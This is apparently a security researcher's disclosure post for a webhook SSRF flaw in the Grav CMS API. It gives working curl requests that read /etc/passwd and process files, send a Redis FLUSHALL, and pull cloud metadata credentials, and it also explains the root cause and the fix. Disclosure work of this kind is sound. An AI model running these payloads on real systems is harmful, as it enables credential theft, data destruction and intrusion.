Posts CVE-2026-62668: Webhook SSRF via Unrestricted cURL Protocols
Post
Cancel

CVE-2026-62668: Webhook SSRF via Unrestricted cURL Protocols

An authenticated user with api.webhooks.write permission can create a webhook whose url field passes FILTER_VALIDATE_URL with file://, dict://, or gopher:// schemes. At dispatch time, curl_init() is called with no CURLOPT_PROTOCOLS restriction, allowing local file reads and internal service pivoting.


Step-by-Step Reproduction

Prerequisites

  1. A running Grav instance with the API plugin enabled
  2. A valid JWT access token for a user with api.webhooks.write permission
  3. The API base URL (default: http://127.0.0.1:8000/api/v1)

Step 1 — Obtain a JWT Token

1
2
3
└─$ curl -s -X POST http://127.0.0.1:8000/api/v1/auth/token \
      -H "Content-Type: application/json" \
      -d '{"username": "admin", "password": "admin123"}' | jq

Response:

1
2
3
4
5
6
7
8
9
{
  "data": {
    "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOi...",
    "refresh_token": "...",
    "token_type": "Bearer",
    "expires_in": 3600,
    "user": {
     ...
}

I will Set the token for subsequent requests:

1
└─$ export TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOi..."

Step 2 — Create a Malicious Webhook with file:// URL

1
2
3
4
5
6
7
8
9
└─$ curl -s -X POST http://127.0.0.1:8000/api/v1/webhooks \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "ssrf-read-passwd",
        "url": "file:///etc/passwd",
        "events": ["page.updated"],
        "enabled": true
      }' | jq

Response — the webhook is created successfully, proving FILTER_VALIDATE_URL accepts file://:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
  "data": {
    "id": "wh_3a5b17b3e27402303fc79a88",
    "url": "file:///etc/passwd",
    "secret": "whsec_ebadbf82e15f87517b7f3e6002832ad160794ae6f85ac501",
    "events": [
      "page.updated"
    ],
    "enabled": true,
    "headers": [],
    "created": 1782478489,
    "failure_count": 0
  }
}

Step 3 — Trigger the Webhook by Updating a Page

The webhook subscribes to page.updated. Any page update triggers it:

1
2
3
4
└─$ curl -s -X PATCH http://127.0.0.1:8000/api/v1/pages/test-trigger \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"title": "Trigger SSRF"}'

The webhook dispatcher calls curl_init("file:///etc/passwd"). Since no CURLOPT_PROTOCOLS restriction is set, cURL reads the file contents via its file protocol handler.


Step 4 — Read the Webhook Delivery to Exfiltrate File Contents

1
2
└─$ curl -s "http://127.0.0.1:8000/api/v1/webhooks/wh_3a5b17b3e27402303fc79a88/deliveries" \
      -H "Authorization: Bearer $TOKEN" | jq

The response_body field contains the full contents of /etc/passwd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
  "data": [
    {
      "id": "dlv_241dba94bde2e151",
      "event": "page.updated",
      "url": "file:///etc/passwd",
      "request_headers": {
        "Content-Type": "application/json",
        "X-Grav-Signature": "ae1dafcb87556d65480d8c3cf495273d7d4033c446792167a13ddbbeb42a8135",
        "X-Grav-Event": "page.updated",
        "X-Grav-Delivery": "dlv_241dba94bde2e151",
        "User-Agent": "Grav-Webhook/1.0"
      },
      "request_body": {
        "event": "page.updated",
        "timestamp": "2026-06-26T12:55:18+00:00",
        "data": {
          "page": {
            "route": "/test-trigger",
            "title": "Trigger SSRF",
            "slug": "test-trigger"
          }
        },
        "webhook_id": "wh_3a5b17b3e27402303fc79a88"
      },
      "created": 1782478518,
      "status_code": 0,
      "response_body": "root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync..."
    }]
}

Step 5 — Read Process Information via /proc

Same technique, different target:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Create webhook targeting /proc/self/cmdline
└─$ curl -s -X POST http://127.0.0.1:8000/api/v1/webhooks \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "ssrf-read-proc",
        "url": "file:///proc/self/cmdline",
        "events": ["page.updated"],
        "enabled": true
      }'

# Trigger
└─$ curl -s -X PATCH http://127.0.0.1:8000/api/v1/pages/test-trigger \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"title": "Trigger proc read"}'

# Read delivery
└─$ curl -s "http://127.0.0.1:8000/api/v1/webhooks/<webhook_id>/deliveries" \
      -H "Authorization: Bearer $TOKEN"

Result — PHP process command line exposed:

1
/usr/bin/php8.4 -S 127.0.0.1:8000 system/router.php

Step 6 — Pivot to Internal Services via dict://

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Create webhook targeting internal Redis (or any TCP service)
└─$ curl -s -X POST http://127.0.0.1:8000/api/v1/webhooks \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "ssrf-internal",
        "url": "dict://127.0.0.1:6379/FLUSHALL",
        "events": ["page.updated"],
        "enabled": true
      }'

# Trigger
└─$ curl -s -X PATCH http://127.0.0.1:8000/api/v1/pages/test-trigger \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"title": "Trigger dict"}'

Cloud Metadata SSRF (AWS / Azure / GCP)

If the Grav instance runs on a cloud VM:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# AWS EC2
└─$ curl -s -X POST http://127.0.0.1:8000/api/v1/webhooks \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "ssrf-aws",
        "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
        "events": ["page.updated"],
        "enabled": true
      }'

# Azure IMDS
└─$ curl ... -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01", ...}'

# GCP
└─$ curl ... -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", ...}'

Root Cause

Two weaknesses combine to create the SSRF vector:

1. FILTER_VALIDATE_URL is too permissive (WebhookController.php:66-68):

1
2
3
4
$url = $body['url'];
if (!filter_var($url, FILTER_VALIDATE_URL)) {
    throw new ValidationException("Invalid webhook URL: {$url}");
}

FILTER_VALIDATE_URL validates URL syntax (scheme://host/path) but does not restrict the scheme. All of these pass: file:///etc/passwd, dict://127.0.0.1:6379, gopher://127.0.0.1:6379/_FLUSHALL.

2. No CURLOPT_PROTOCOLS restriction (WebhookDispatcher.php:167-185):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private function httpPost(string $url, string $body, array $headers): array
{
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $body,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_CONNECTTIMEOUT => 5,
        CURLOPT_FOLLOWLOCATION => false,
        // NOTE: CURLOPT_PROTOCOLS is NOT set
    ]);
    // ...
}

cURL’s default protocol set includes file://, dict://, gopher://, ftp://, and http://. Without CURLOPT_PROTOCOLS restricting to CURLPROTO_HTTP | CURLPROTO_HTTPS, all protocols are available.


Impact

AttackProtocolExampleResult
Local file readfile://file:///etc/passwdFull OS user database exposed
Process info leakfile://file:///proc/self/cmdlinePHP command line, environment variables
Config readfile://file:///app/.envCredentials, API keys, database passwords
Internal Redisdict://dict://127.0.0.1:6379/FLUSHALLFlush internal Redis cache
Internal Memcacheddict://dict://127.0.0.1:11211/statsEnumerate cached data
Arbitrary TCPgopher://gopher://127.0.0.1:25/...SMTP injection, etc.
Cloud metadatahttp://http://169.254.169.254/...IAM credentials, instance tokens

The End.

1
Mungu Nisaidie
This post is licensed under CC BY 4.0 by the author.